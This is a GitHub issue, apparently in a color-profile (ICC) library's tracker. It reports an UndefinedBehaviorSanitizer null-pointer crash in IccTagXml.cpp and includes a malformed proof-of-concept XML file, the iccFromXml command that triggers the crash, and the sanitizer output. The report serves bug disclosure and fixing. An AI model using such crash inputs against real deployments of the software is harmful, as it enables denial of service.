Skip to content

UB runtime error: member access within null pointer of type at IccXML/IccLibXML/IccTagXml.cpp:98:47 #373

@xsscx

Description

@xsscx

Maintainer Repro

Mon Dec 29 06:16:46 PM UTC 2025

PoC XML

<?l?><IccProfile><Header><ProfileDe0ice0lass></ProfileDe0ice0lass><Data0olourS0ace></Data0olourS0ace></Header><Tags><IccProfile></IccProfile><utf0Te0tT00e></utf0Te0tT00e><tagStructureT00e><TagSig0ature></TagSig0ature><StructureSig0ature></StructureSig0ature><Me00erTags><float000u00erT00e></float000u00erT00e></Me00erTags></tagStructureT00e></Tags></IccProfile>

PoC

iccFromXml poc.xml poc.icc

Expected Output

IccXML/IccLibXML/IccTagXml.cpp:98:47: runtime error: member access within null pointer of type 'xmlNode' (aka '_xmlNode')
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior IccXML/IccLibXML/IccTagXml.cpp:98:47

Metadata

Metadata

Assignees

No one assigned

    Labels

    BugBug ReportIn ScopeMaintainer indicates In Scope ReportSecuritySecurity RelatedTriagedMaintainer indicates triaged status and ready for developer handoff

    Type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions